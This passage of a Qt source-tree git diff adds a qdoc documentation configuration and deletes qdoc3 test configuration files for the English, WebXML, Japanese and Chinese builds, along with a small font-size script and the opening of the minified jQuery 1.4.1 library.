+ $QT_SOURCE_TREE/tools/designer/src/uitools \
+ $QT_SOURCE_TREE/tools/designer/src/lib/extension \
+ $QT_SOURCE_TREE/tools/designer/src/lib/sdk \
+ $QT_SOURCE_TREE/tools/designer/src/lib/uilib \
+ $QT_SOURCE_TREE/tools/qtestlib/src \
+ $QT_SOURCE_TREE/tools/qdbus/src
+sourcedirs = $QT_SOURCE_TREE/src \
+ $QT_SOURCE_TREE/doc/src \
+ $QT_SOURCE_TREE/extensions/activeqt \
+ $QT_SOURCE_TREE/tools/assistant/lib \
+ $QT_SOURCE_TREE/tools/assistant/compat/lib \
+ $QT_SOURCE_TREE/tools/designer/src/uitools \
+ $QT_SOURCE_TREE/tools/designer/src/lib/extension \
+ $QT_SOURCE_TREE/tools/designer/src/lib/sdk \
+ $QT_SOURCE_TREE/tools/designer/src/lib/uilib \
+ $QT_SOURCE_TREE/tools/qtestlib/src \
+ $QT_SOURCE_TREE/tools/qdbus
+
+excludedirs = $QT_SOURCE_TREE/src/3rdparty/clucene \
+ $QT_SOURCE_TREE/src/3rdparty/des \
+ $QT_SOURCE_TREE/src/3rdparty/freetype \
+ $QT_SOURCE_TREE/src/3rdparty/harfbuzz \
+ $QT_SOURCE_TREE/src/3rdparty/kdebase \
+ $QT_SOURCE_TREE/src/3rdparty/libconninet \
+ $QT_SOURCE_TREE/src/3rdparty/libjpeg \
+ $QT_SOURCE_TREE/src/3rdparty/libmng \
+ $QT_SOURCE_TREE/src/3rdparty/libpng \
+ $QT_SOURCE_TREE/src/3rdparty/libtiff \
+ $QT_SOURCE_TREE/src/3rdparty/md4 \
+ $QT_SOURCE_TREE/src/3rdparty/md5 \
+ $QT_SOURCE_TREE/src/3rdparty/patches \
+ $QT_SOURCE_TREE/src/3rdparty/sha1 \
+ $QT_SOURCE_TREE/src/3rdparty/sqlite \
+ $QT_SOURCE_TREE/src/3rdparty/webkit/JavaScriptCore \
+ $QT_SOURCE_TREE/src/3rdparty/webkit/WebCore \
+ $QT_SOURCE_TREE/src/3rdparty/wintab \
+ $QT_SOURCE_TREE/src/3rdparty/zlib \
+ $QT_SOURCE_TREE/src/3rdparty/phonon/gstreamer \
+ $QT_SOURCE_TREE/src/3rdparty/phonon/ds9 \
+ $QT_SOURCE_TREE/src/3rdparty/phonon/qt7 \
+ $QT_SOURCE_TREE/src/3rdparty/phonon/mmf \
+ $QT_SOURCE_TREE/src/3rdparty/phonon/waveout \
+ $QT_SOURCE_TREE/doc/src/snippets \
+ $QT_SOURCE_TREE/doc/src/ja_JP \
+ $QT_SOURCE_TREE/doc/src/zh_CN
+
+sources.fileextensions = "*.c++ *.cc *.cpp *.cxx *.mm *.qml *.qdoc"
+headers.fileextensions = "*.ch *.h *.h++ *.hh *.hpp *.hxx"
+
+examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml"
+examples.imageextensions = "*.png"
+
+exampledirs = $QT_SOURCE_TREE/doc/src \
+ $QT_SOURCE_TREE/examples \
+ $QT_SOURCE_TREE/examples/tutorials \
+ $QT_SOURCE_TREE \
+ $QT_SOURCE_TREE/qmake/examples \
+ $QT_SOURCE_TREE/src/3rdparty/webkit/WebKit/qt/docs
+imagedirs = $QT_SOURCE_TREE/doc/src/images \
+ $QT_SOURCE_TREE/examples \
+ $QT_SOURCE_TREE/doc/src/declarative/pics \
+ $QT_SOURCE_TREE/doc/src/template/images
+outputdir = $QT_BUILD_TREE/doc/html
+tagfile = $QT_BUILD_TREE/doc/html/qt.tags
+base = file:$QT_BUILD_TREE/doc/html
+
+HTML.generatemacrefs = "true"
diff --git a/tools/qdoc3/test/qt-webxml.qdocconf b/tools/qdoc3/test/qt-webxml.qdocconf
deleted file mode 100644
index 80ced42..0000000
--- a/tools/qdoc3/test/qt-webxml.qdocconf
+++ /dev/null
@@ -1,12 +0,0 @@
-include(qt.qdocconf)
-
-quotinginformation = true
-imagedirs = $QTDIR/doc/src/images \
- $QTDIR/examples \
- $QTDIR/doc/src/template/images
-
-outputdir = $QTDIR/doc/webxml
-outputformats = WebXML
-
-generateindex = true
-url = .
diff --git a/tools/qdoc3/test/qt.qdocconf b/tools/qdoc3/test/qt.qdocconf
deleted file mode 100644
index b7b5371..0000000
--- a/tools/qdoc3/test/qt.qdocconf
+++ /dev/null
@@ -1,151 +0,0 @@
-include(compat.qdocconf)
-include(macros.qdocconf)
-include(qt-cpp-ignore.qdocconf)
-include(qt-html-templates.qdocconf)
-include(qt-defines.qdocconf)
-
-project = Qt
-versionsym =
-version = %VERSION%
-description = Qt Reference Documentation
-url = http://qt.nokia.com/doc/4.8
-
-sourceencoding = UTF-8
-outputencoding = UTF-8
-naturallanguage = en_US
-
-qhp.projects = Qt
-
-qhp.Qt.file = qt.qhp
-qhp.Qt.namespace = com.trolltech.qt.480
-qhp.Qt.virtualFolder = qdoc
-qhp.Qt.indexTitle = Qt Reference Documentation
-qhp.Qt.indexRoot =
-
-# Files not referenced in any qdoc file (last four are needed by qtdemo)
-# See also extraimages.HTML
-qhp.Qt.extraFiles = index.html \
- images/bg_l.png \
- images/bg_l_blank.png \
- images/bg_ll_blank.png \
- images/bg_ul_blank.png \
- images/header_bg.png \
- images/bg_r.png \
- images/box_bg.png \
- images/breadcrumb.png \
- images/bullet_gt.png \
- images/bullet_dn.png \
- images/bullet_sq.png \
- images/bullet_up.png \
- images/arrow_down.png \
- images/feedbackground.png \
- images/horBar.png \
- images/page.png \
- images/page_bg.png \
- images/sprites-combined.png \
- images/spinner.gif \
- images/stylesheet-coffee-plastique.png \
- images/taskmenuextension-example.png \
- images/coloreditorfactoryimage.png \
- images/dynamiclayouts-example.png \
- scripts/functions.js \
- scripts/jquery.js \
- scripts/narrow.js \
- scripts/superfish.js \
- style/narrow.css \
- style/superfish.css \
- style/style_ie6.css \
- style/style_ie7.css \
- style/style_ie8.css \
- style/style.css
-
-qhp.Qt.filterAttributes = qt 4.8.0 qtrefdoc
-qhp.Qt.customFilters.Qt.name = Qt 4.8.0
-qhp.Qt.customFilters.Qt.filterAttributes = qt 4.8.0
-qhp.Qt.subprojects = classes qmlelements overviews examples
-qhp.Qt.subprojects.classes.title = Classes
-qhp.Qt.subprojects.classes.indexTitle = Qt's Classes
-qhp.Qt.subprojects.classes.selectors = class fake:headerfile
-qhp.Qt.subprojects.classes.sortPages = true
-qhp.Qt.subprojects.qmlelements.title = QML Elements
-qhp.Qt.subprojects.qmlelements.indexTitle = QML Elements
-qhp.Qt.subprojects.qmlelements.selectors = fake:qmlclass
-qhp.Qt.subprojects.qmlelements.sortPages = true
-qhp.Qt.subprojects.overviews.title = Overviews
-qhp.Qt.subprojects.overviews.indexTitle = All Overviews and HOWTOs
-qhp.Qt.subprojects.overviews.selectors = fake:page,group,module
-qhp.Qt.subprojects.examples.title = Tutorials and Examples
-qhp.Qt.subprojects.examples.indexTitle = Qt Examples
-qhp.Qt.subprojects.examples.selectors = fake:example
-
-language = Cpp
-
-headerdirs = $QTDIR/src \
- $QTDIR/extensions/activeqt \
- $QTDIR/tools/assistant/lib \
- $QTDIR/tools/assistant/compat/lib \
- $QTDIR/tools/designer/src/uitools \
- $QTDIR/tools/designer/src/lib/extension \
- $QTDIR/tools/designer/src/lib/sdk \
- $QTDIR/tools/designer/src/lib/uilib \
- $QTDIR/tools/qtestlib/src \
- $QTDIR/tools/qdbus/src
-sourcedirs = $QTDIR/src \
- $QTDIR/doc/src \
- $QTDIR/extensions/activeqt \
- $QTDIR/tools/assistant/lib \
- $QTDIR/tools/assistant/compat/lib \
- $QTDIR/tools/designer/src/uitools \
- $QTDIR/tools/designer/src/lib/extension \
- $QTDIR/tools/designer/src/lib/sdk \
- $QTDIR/tools/designer/src/lib/uilib \
- $QTDIR/tools/qtestlib/src \
- $QTDIR/tools/qdbus
-
-excludedirs = $QTDIR/src/3rdparty/clucene \
- $QTDIR/src/3rdparty/des \
- $QTDIR/src/3rdparty/freetype \
- $QTDIR/src/3rdparty/harfbuzz \
- $QTDIR/src/3rdparty/kdebase \
- $QTDIR/src/3rdparty/libconninet \
- $QTDIR/src/3rdparty/libjpeg \
- $QTDIR/src/3rdparty/libmng \
- $QTDIR/src/3rdparty/libpng \
- $QTDIR/src/3rdparty/libtiff \
- $QTDIR/src/3rdparty/md4 \
- $QTDIR/src/3rdparty/md5 \
- $QTDIR/src/3rdparty/patches \
- $QTDIR/src/3rdparty/sha1 \
- $QTDIR/src/3rdparty/sqlite \
- $QTDIR/src/3rdparty/webkit/JavaScriptCore \
- $QTDIR/src/3rdparty/webkit/WebCore \
- $QTDIR/src/3rdparty/wintab \
- $QTDIR/src/3rdparty/zlib \
- $QTDIR/src/3rdparty/phonon/gstreamer \
- $QTDIR/src/3rdparty/phonon/ds9 \
- $QTDIR/src/3rdparty/phonon/qt7 \
- $QTDIR/src/3rdparty/phonon/mmf \
- $QTDIR/src/3rdparty/phonon/waveout \
- $QTDIR/doc/src/snippets \
- $QTDIR/doc/src/ja_JP \
- $QTDIR/doc/src/zh_CN
-
-sources.fileextensions = "*.cpp *.qdoc *.mm"
-examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml"
-examples.imageextensions = "*.png"
-
-exampledirs = $QTDIR/doc/src \
- $QTDIR/examples \
- $QTDIR/examples/tutorials \
- $QTDIR \
- $QTDIR/qmake/examples \
- $QTDIR/src/3rdparty/webkit/WebKit/qt/docs
-imagedirs = $QTDIR/doc/src/images \
- $QTDIR/examples \
- $QTDIR/doc/src/declarative/pics \
- $QTDIR/doc/src/template/images
-outputdir = $QTDIR/doc/html
-tagfile = $QTDIR/doc/html/qt.tags
-base = file:$QTDIR/doc/html
-
-HTML.generatemacrefs = "true"
diff --git a/tools/qdoc3/test/qt_ja_JP.qdocconf b/tools/qdoc3/test/qt_ja_JP.qdocconf
deleted file mode 100644
index 69c0748..0000000
--- a/tools/qdoc3/test/qt_ja_JP.qdocconf
+++ /dev/null
@@ -1,118 +0,0 @@
-include(compat.qdocconf)
-include(macros.qdocconf)
-include(qt-cpp-ignore.qdocconf)
-include(qt-html-templates_ja_JP.qdocconf)
-include(qt-defines.qdocconf)
-
-project = Qt
-versionsym =
-version = %VERSION%
-description = Qt リファレンスドキュメント
-url = http://qt.nokia.com/doc/ja_JP/4.7
-
-sourceencoding = UTF-8
-outputencoding = UTF-8
-naturallanguage = ja
-
-indexes = $QTDIR/doc/html/qt.index
-
-qhp.projects = Qt
-
-qhp.Qt.file = qt.qhp
-qhp.Qt.namespace = com.trolltech.qt.480
-qhp.Qt.virtualFolder = qdoc
-qhp.Qt.title = Qt
-qhp.Qt.indexTitle = Qt
-qhp.Qt.selectors = fake:example
-
-qhp.Qt.filterAttributes = qt 4.8.0 qtrefdoc ja_JP
-qhp.Qt.customFilters.Qt.name = Qt 4.8.0
-qhp.Qt.customFilters.Qt.filterAttributes = qt 4.8.0
-
-# Files not referenced in any qdoc file (last four are needed by qtdemo)
-# See also extraimages.HTML
-qhp.Qt.extraFiles = index.html \
- images/bg_l.png \
- images/bg_l_blank.png \
- images/bg_ll_blank.png \
- images/bg_ul_blank.png \
- images/header_bg.png \
- images/bg_r.png \
- images/box_bg.png \
- images/breadcrumb.png \
- images/bullet_gt.png \
- images/bullet_dn.png \
- images/bullet_sq.png \
- images/bullet_up.png \
- images/arrow_down.png \
- images/feedbackground.png \
- images/horBar.png \
- images/page.png \
- images/page_bg.png \
- images/sprites-combined.png \
- images/spinner.gif \
- images/stylesheet-coffee-plastique.png \
- images/taskmenuextension-example.png \
- images/coloreditorfactoryimage.png \
- images/dynamiclayouts-example.png \
- scripts/functions.js \
- scripts/jquery.js \
- scripts/narrow.js \
- scripts/superfish.js \
- style/narrow.css \
- style/superfish.css \
- style/style_ie6.css \
- style/style_ie7.css \
- style/style_ie8.css \
- style/style.css
-
-language = Cpp
-
-sourcedirs = $QTDIR/doc/src/ja_JP
-
-excludedirs = $QTDIR/src/3rdparty/clucene \
- $QTDIR/src/3rdparty/des \
- $QTDIR/src/3rdparty/freetype \
- $QTDIR/src/3rdparty/harfbuzz \
- $QTDIR/src/3rdparty/kdebase \
- $QTDIR/src/3rdparty/libjpeg \
- $QTDIR/src/3rdparty/libmng \
- $QTDIR/src/3rdparty/libpng \
- $QTDIR/src/3rdparty/libtiff \
- $QTDIR/src/3rdparty/md4 \
- $QTDIR/src/3rdparty/md5 \
- $QTDIR/src/3rdparty/patches \
- $QTDIR/src/3rdparty/sha1 \
- $QTDIR/src/3rdparty/sqlite \
- $QTDIR/src/3rdparty/webkit/JavaScriptCore \
- $QTDIR/src/3rdparty/webkit/WebCore \
- $QTDIR/src/3rdparty/wintab \
- $QTDIR/src/3rdparty/zlib \
- $QTDIR/doc/src/snippets \
- $QTDIR/doc/src/zh_CN \
- $QTDIR/src/3rdparty/phonon/gstreamer \
- $QTDIR/src/3rdparty/phonon/ds9 \
- $QTDIR/src/3rdparty/phonon/qt7 \
- $QTDIR/src/3rdparty/phonon/mmf \
- $QTDIR/src/3rdparty/phonon/waveout
-
-sources.fileextensions = "*.cpp *.qdoc *.mm"
-examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp"
-examples.imageextensions = "*.png"
-
-exampledirs = $QTDIR/doc/src \
- $QTDIR/examples/ja_JP \
- $QTDIR/examples \
- $QTDIR/examples/tutorials \
- $QTDIR \
- $QTDIR/qmake/examples \
- $QTDIR/src/3rdparty/webkit/WebKit/qt/docs
-imagedirs = $QTDIR/doc/src/ja_JP/images \
- $QTDIR/doc/src/images \
- $QTDIR/examples \
- $QTDIR/doc/src/template/images
-outputdir = $QTDIR/doc/html_ja_JP
-tagfile = $QTDIR/doc/html_ja_JP/qt.tags
-base = file:$QTDIR/doc/html_ja_JP
-
-HTML.generatemacrefs = "true"
diff --git a/tools/qdoc3/test/qt_zh_CN.qdocconf b/tools/qdoc3/test/qt_zh_CN.qdocconf
deleted file mode 100644
index 7b49315..0000000
--- a/tools/qdoc3/test/qt_zh_CN.qdocconf
+++ /dev/null
@@ -1,116 +0,0 @@
-include(compat.qdocconf)
-include(macros.qdocconf)
-include(qt-cpp-ignore.qdocconf)
-include(qt-html-templates_zh_CN.qdocconf)
-include(qt-defines.qdocconf)
-
-project = Qt
-versionsym =
-version = %VERSION%
-description = Qt Reference Documentation
-url = http://qt.nokia.com/doc/zh_CN/4.8
-
-sourceencoding = UTF-8
-outputencoding = UTF-8
-naturallanguage = zh-Hans
-
-indexes = $QTDIR/doc/html/qt.index
-
-qhp.projects = Qt
-
-qhp.Qt.file = qt.qhp
-qhp.Qt.namespace = com.trolltech.qt.480
-qhp.Qt.virtualFolder = qdoc
-qhp.Qt.title = 教程
-qhp.Qt.indexTitle = 教程
-qhp.Qt.selectors = fake:example
-
-qhp.Qt.filterAttributes = qt 4.8.0 qtrefdoc zh_CN
-qhp.Qt.customFilters.Qt.name = Qt 4.8.0
-qhp.Qt.customFilters.Qt.filterAttributes = qt 4.8.0
-
-# Files not referenced in any qdoc file (last four are needed by qtdemo)
-# See also extraimages.HTML
-qhp.Qt.extraFiles = index.html \
- images/bg_l.png \
- images/bg_l_blank.png \
- images/bg_ll_blank.png \
- images/bg_ul_blank.png \
- images/header_bg.png \
- images/bg_r.png \
- images/box_bg.png \
- images/breadcrumb.png \
- images/bullet_gt.png \
- images/bullet_dn.png \
- images/bullet_sq.png \
- images/bullet_up.png \
- images/arrow_down.png \
- images/feedbackground.png \
- images/horBar.png \
- images/page.png \
- images/page_bg.png \
- images/sprites-combined.png \
- images/spinner.gif \
- images/stylesheet-coffee-plastique.png \
- images/taskmenuextension-example.png \
- images/coloreditorfactoryimage.png \
- images/dynamiclayouts-example.png \
- scripts/functions.js \
- scripts/jquery.js \
- scripts/narrow.js \
- scripts/superfish.js \
- style/narrow.css \
- style/superfish.css \
- style/style_ie6.css \
- style/style_ie7.css \
- style/style_ie8.css \
- style/style.css
-
-language = Cpp
-
-sourcedirs = $QTDIR/doc/src/zh_CN
-
-excludedirs = $QTDIR/src/3rdparty/clucene \
- $QTDIR/src/3rdparty/des \
- $QTDIR/src/3rdparty/freetype \
- $QTDIR/src/3rdparty/harfbuzz \
- $QTDIR/src/3rdparty/kdebase \
- $QTDIR/src/3rdparty/libjpeg \
- $QTDIR/src/3rdparty/libmng \
- $QTDIR/src/3rdparty/libpng \
- $QTDIR/src/3rdparty/libtiff \
- $QTDIR/src/3rdparty/md4 \
- $QTDIR/src/3rdparty/md5 \
- $QTDIR/src/3rdparty/patches \
- $QTDIR/src/3rdparty/sha1 \
- $QTDIR/src/3rdparty/sqlite \
- $QTDIR/src/3rdparty/webkit/JavaScriptCore \
- $QTDIR/src/3rdparty/webkit/WebCore \
- $QTDIR/src/3rdparty/wintab \
- $QTDIR/src/3rdparty/zlib \
- $QTDIR/doc/src/snippets \
- $QTDIR/doc/src/ja_JP \
- $QTDIR/src/3rdparty/phonon/gstreamer \
- $QTDIR/src/3rdparty/phonon/ds9 \
- $QTDIR/src/3rdparty/phonon/qt7 \
- $QTDIR/src/3rdparty/phonon/mmf \
- $QTDIR/src/3rdparty/phonon/waveout
-
-sources.fileextensions = "*.cpp *.qdoc *.mm"
-examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp"
-examples.imageextensions = "*.png"
-
-exampledirs = $QTDIR/doc/src \
- $QTDIR/examples \
- $QTDIR/examples/tutorials \
- $QTDIR \
- $QTDIR/qmake/examples \
- $QTDIR/src/3rdparty/webkit/WebKit/qt/docs
-imagedirs = $QTDIR/doc/src/images \
- $QTDIR/examples \
- $QTDIR/doc/src/template/images
-outputdir = $QTDIR/doc/html_zh_CN
-tagfile = $QTDIR/doc/html_zh_CN/qt.tags
-base = file:$QTDIR/doc/html_zh_CN
-
-HTML.generatemacrefs = "true"
diff --git a/tools/qdoc3/test/scripts/functions.js b/tools/qdoc3/test/scripts/functions.js
deleted file mode 100644
index 0135427..0000000
--- a/tools/qdoc3/test/scripts/functions.js
+++ /dev/null
@@ -1,60 +0,0 @@
-
-/* START non link areas where cursor should change to pointing hand */
-$('.t_button').mouseover(function() {
- $('.t_button').css('cursor','pointer');
- /*document.getElementById(this.id).style.cursor='pointer';*/
-});
-
-/* END non link areas */
-$('#smallA').click(function() {
- $('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('font-size','smaller');
- $('.t_button').removeClass('active')
- $(this).addClass('active')
-});
-
-$('#medA').click(function() {
- $('.content .heading').css('font','600 16px/1 Arial');
- $('.content h1').css('font','600 18px/1.2 Arial');
- $('.content h2').css('font','600 16px/1.2 Arial');
- $('.content h3').css('font','600 14px/1.2 Arial');
- $('.content p').css('font','13px/20px Verdana');
- $('.content li').css('font','400 13px/1 Verdana');
- $('.content li').css('line-height','14px');
- $('.content table').css('font','13px/1.2 Verdana');
- $('.content .heading').css('font','600 16px/1 Arial');
- $('.content .indexboxcont li').css('font','600 13px/1 Verdana');
- $('.t_button').removeClass('active')
- $(this).addClass('active')
-});
-
-$('#bigA').click(function() {
- $('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('font-size','large');
- $('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('line-height','25px');
- $('.t_button').removeClass('active')
- $(this).addClass('active')
-});
-
-function doSearch(str){
-
-if (str.length>3)
- {
- alert('start search');
- // document.getElementById("refWrapper").innerHTML="";
- return;
- }
- else
- return;
-
-// var url="indexSearch.php";
-// url=url+"?q="+str;
- // url=url+"&sid="+Math.random();
- // var url="http://localhost:8983/solr/select?";
- // url=url+"&q="+str;
- // url=url+"&fq=&start=0&rows=10&fl=&qt=&wt=&explainOther=&hl.fl=";
-
- // $.get(url, function(data){
- // alert(data);
- // document.getElementById("refWrapper").innerHTML=data;
- //});
-
-} \ No newline at end of file
diff --git a/tools/qdoc3/test/scripts/jquery.js b/tools/qdoc3/test/scripts/jquery.js
deleted file mode 100644
index 0c7294c..0000000
--- a/tools/qdoc3/test/scripts/jquery.js
+++ /dev/null
@@ -1,152 +0,0 @@
-/*!
- * jQuery JavaScript Library v1.4.1
- * http://jquery.com/
- *
- * Copyright 2010, John Resig
- * Dual licensed under the MIT or GPL Version 2 licenses.
- * http://jquery.org/license
- *
- * Includes Sizzle.js
- * http://sizzlejs.com/
- * Copyright 2010, The Dojo Foundation
- * Released under the MIT, BSD, and GPL Licenses.
- *
- * Date: Mon Jan 25 19:43:33 2010 -0500
- */
-(function(z,v){function la(){if(!c.isReady){try{r.documentElement.doScroll("left")}catch(a){setTimeout(la,1);return}c.ready()}}function Ma(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,i){var j=a.length;if(typeof b==="object"){for(var n in b)X(a,n,b[n],f,e,d);return a}if(d!==v){f=!i&&f&&c.isFunction(d);for(n=0;n<j;n++)e(a[n],b,f?d.call(a[n],n,e(a[n],b)):d,i);return a}return j?
-e(a[0],b):null}function J(){return(new Date).getTime()}function Y(){return false}function Z(){return true}function ma(a,b,d){d[0].type=a;return c.event.handle.apply(b,d)}function na(a){var b,d=[],f=[],e=arguments,i,j,n,o,m,s,x=c.extend({},c.data(this,"events").live);if(!(a.button&&a.type==="click")){for(o in x){j=x[o];if(j.live===a.type||j.altLive&&c.inArray(a.type,j.altLive)>-1){i=j.data;i.beforeFilter&&i.beforeFilter[a.type]&&!i.beforeFilter[a.type](a)||f.push(j.selector)}else delete x[o]}i=c(a.target).closest(f,
-a.currentTarget);m=0;for(s=i.length;m<s;m++)for(o in x){j=x[o];n=i[m].elem;f=null;if(i[m].selector===j.selector){if(j.live==="mouseenter"||j.live==="mouseleave")f=c(a.relatedTarget).closest(j.selector)[0];if(!f||f!==n)d.push({elem:n,fn:j})}}m=0;for(s=d.length;m<s;m++){i=d[m];a.currentTarget=i.elem;a.data=i.fn.data;if(i.fn.apply(i.elem,e)===false){b=false;break}}return b}}function oa(a,b){return"live."+(a?a+".":"")+b.replace(/\./g,"`").replace(/ /g,"&")}function pa(a){return!a||!a.parentNode||a.parentNode.nodeType===
-11}function qa(a,b){var d=0;b.each(function(){if(this.nodeName===(a[d]&&a[d].nodeName)){var f=c.data(a[d++]),e=c.data(this,f);if(f=f&&f.events){delete e.handle;e.events={};for(var i in f)for(var j in f[i])c.event.add(this,i,f[i][j],f[i][j].data)}}})}function ra(a,b,d){var f,e,i;if(a.length===1&&typeof a[0]==="string"&&a[0].length<512&&a[0].indexOf("<option")<0&&(c.support.checkClone||!sa.test(a[0]))){e=true;if(i=c.fragments[a[0]])if(i!==1)f=i}if(!f){b=b&&b[0]?b[0].ownerDocument||b[0]:r;f=b.createDocumentFragment();
-c.clean(a,b,f,d)}if(e)c.fragments[a[0]]=i?f:1;return{fragment:f,cacheable:e}}function K(a,b){var d={};c.each(ta.concat.apply([],ta.slice(0,b)),function(){d[this]=a});return d}function ua(a){return"scrollTo"in a&&a.document?a:a.nodeType===9?a.defaultView||a.parentWindow:false}var c=function(a,b){return new c.fn.init(a,b)},Na=z.jQuery,Oa=z.$,r=z.document,S,Pa=/^[^<]*(<[\w\W]+>)[^>]*$|^#([\w-]+)$/,Qa=/^.[^:#\[\.,]*$/,Ra=/\S/,Sa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Ta=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,O=navigator.userAgent,
-va=false,P=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,Q=Array.prototype.slice,wa=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(typeof a==="string")if((d=Pa.exec(a))&&(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:r;if(a=Ta.exec(a))if(c.isPlainObject(b)){a=[r.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=ra([d[1]],
-[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}}else{if(b=r.getElementById(d[2])){if(b.id!==d[2])return S.find(a);this.length=1;this[0]=b}this.context=r;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=r;a=r.getElementsByTagName(a)}else return!b||b.jquery?(b||S).find(a):c(b).find(a);else if(c.isFunction(a))return S.ready(a);if(a.selector!==v){this.selector=a.selector;this.context=a.context}return c.isArray(a)?this.setArray(a):c.makeArray(a,
-this)},selector:"",jquery:"1.4.1",length:0,size:function(){return this.length},toArray:function(){return Q.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){a=c(a||null);a.prevObject=this;a.context=this.context;if(b==="find")a.selector=this.selector+(this.selector?" ":"")+d;else if(b)a.selector=this.selector+"."+b+"("+d+")";return a},setArray:function(a){this.length=0;ba.apply(this,a);return this},each:function(a,b){return c.each(this,
-a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(r,c);else P&&P.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(Q.apply(this,arguments),"slice",Q.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this,function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};
-c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,i,j,n;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b<d;b++)if((e=arguments[b])!=null)for(i in e){j=a[i];n=e[i];if(a!==n)if(f&&n&&(c.isPlainObject(n)||c.isArray(n))){j=j&&(c.isPlainObject(j)||c.isArray(j))?j:c.isArray(n)?[]:{};a[i]=c.extend(f,j,n)}else if(n!==v)a[i]=n}return a};c.extend({noConflict:function(a){z.$=
-Oa;if(a)z.jQuery=Na;return c},isReady:false,ready:function(){if(!c.isReady){if(!r.body)return setTimeout(c.ready,13);c.isReady=true;if(P){for(var a,b=0;a=P[b++];)a.call(r,c);P=null}c.fn.triggerHandler&&c(r).triggerHandler("ready")}},bindReady:function(){if(!va){va=true;if(r.readyState==="complete")return c.ready();if(r.addEventListener){r.addEventListener("DOMContentLoaded",L,false);z.addEventListener("load",c.ready,false)}else if(r.attachEvent){r.attachEvent("onreadystatechange",L);z.attachEvent("onload",
-c.ready);var a=false;try{a=z.frameElement==null}catch(b){}r.documentElement.doScroll&&a&&la()}}},isFunction:function(a){return $.call(a)==="[object Function]"},isArray:function(a){return $.call(a)==="[object Array]"},isPlainObject:function(a){if(!a||$.call(a)!=="[object Object]"||a.nodeType||a.setInterval)return false;if(a.constructor&&!aa.call(a,"constructor")&&!aa.call(a.constructor.prototype,"isPrototypeOf"))return false;var b;for(b in a);return b===v||aa.call(a,b)},isEmptyObject:function(a){for(var b in a)return false;
-return true},error:function(a){throw a;},parseJSON:function(a){if(typeof a!=="string"||!a)return null;if(/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return z.JSON&&z.JSON.parse?z.JSON.parse(a):(new Function("return "+a))();else c.error("Invalid JSON: "+a)},noop:function(){},globalEval:function(a){if(a&&Ra.test(a)){var b=r.getElementsByTagName("head")[0]||
-r.documentElement,d=r.createElement("script");d.type="text/javascript";if(c.support.scriptEval)d.appendChild(r.createTextNode(a));else d.text=a;b.insertBefore(d,b.firstChild);b.removeChild(d)}},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,b,d){var f,e=0,i=a.length,j=i===v||c.isFunction(a);if(d)if(j)for(f in a){if(b.apply(a[f],d)===false)break}else for(;e<i;){if(b.apply(a[e++],d)===false)break}else if(j)for(f in a){if(b.call(a[f],f,a[f])===false)break}else for(d=
-a[0];e<i&&b.call(d,e,d)!==false;d=a[++e]);return a},trim:function(a){return(a||"").replace(Sa,"")},makeArray:function(a,b){b=b||[];if(a!=null)a.length==null||typeof a==="string"||c.isFunction(a)||typeof a!=="function"&&a.setInterval?ba.call(b,a):c.merge(b,a);return b},inArray:function(a,b){if(b.indexOf)return b.indexOf(a);for(var d=0,f=b.length;d<f;d++)if(b[d]===a)return d;return-1},merge:function(a,b){var d=a.length,f=0;if(typeof b.length==="number")for(var e=b.length;f<e;f++)a[d++]=b[f];else for(;b[f]!==
-v;)a[d++]=b[f++];a.length=d;return a},grep:function(a,b,d){for(var f=[],e=0,i=a.length;e<i;e++)!d!==!b(a[e],e)&&f.push(a[e]);return f},map:function(a,b,d){for(var f=[],e,i=0,j=a.length;i<j;i++){e=b(a[i],i,d);if(e!=null)f[f.length]=e}return f.concat.apply([],f)},guid:1,proxy:function(a,b,d){if(arguments.length===2)if(typeof b==="string"){d=a;a=d[b];b=v}else if(b&&!c.isFunction(b)){d=b;b=v}if(!b&&a)b=function(){return a.apply(d||this,arguments)};if(a)b.guid=a.guid=a.guid||b.guid||c.guid++;return b},
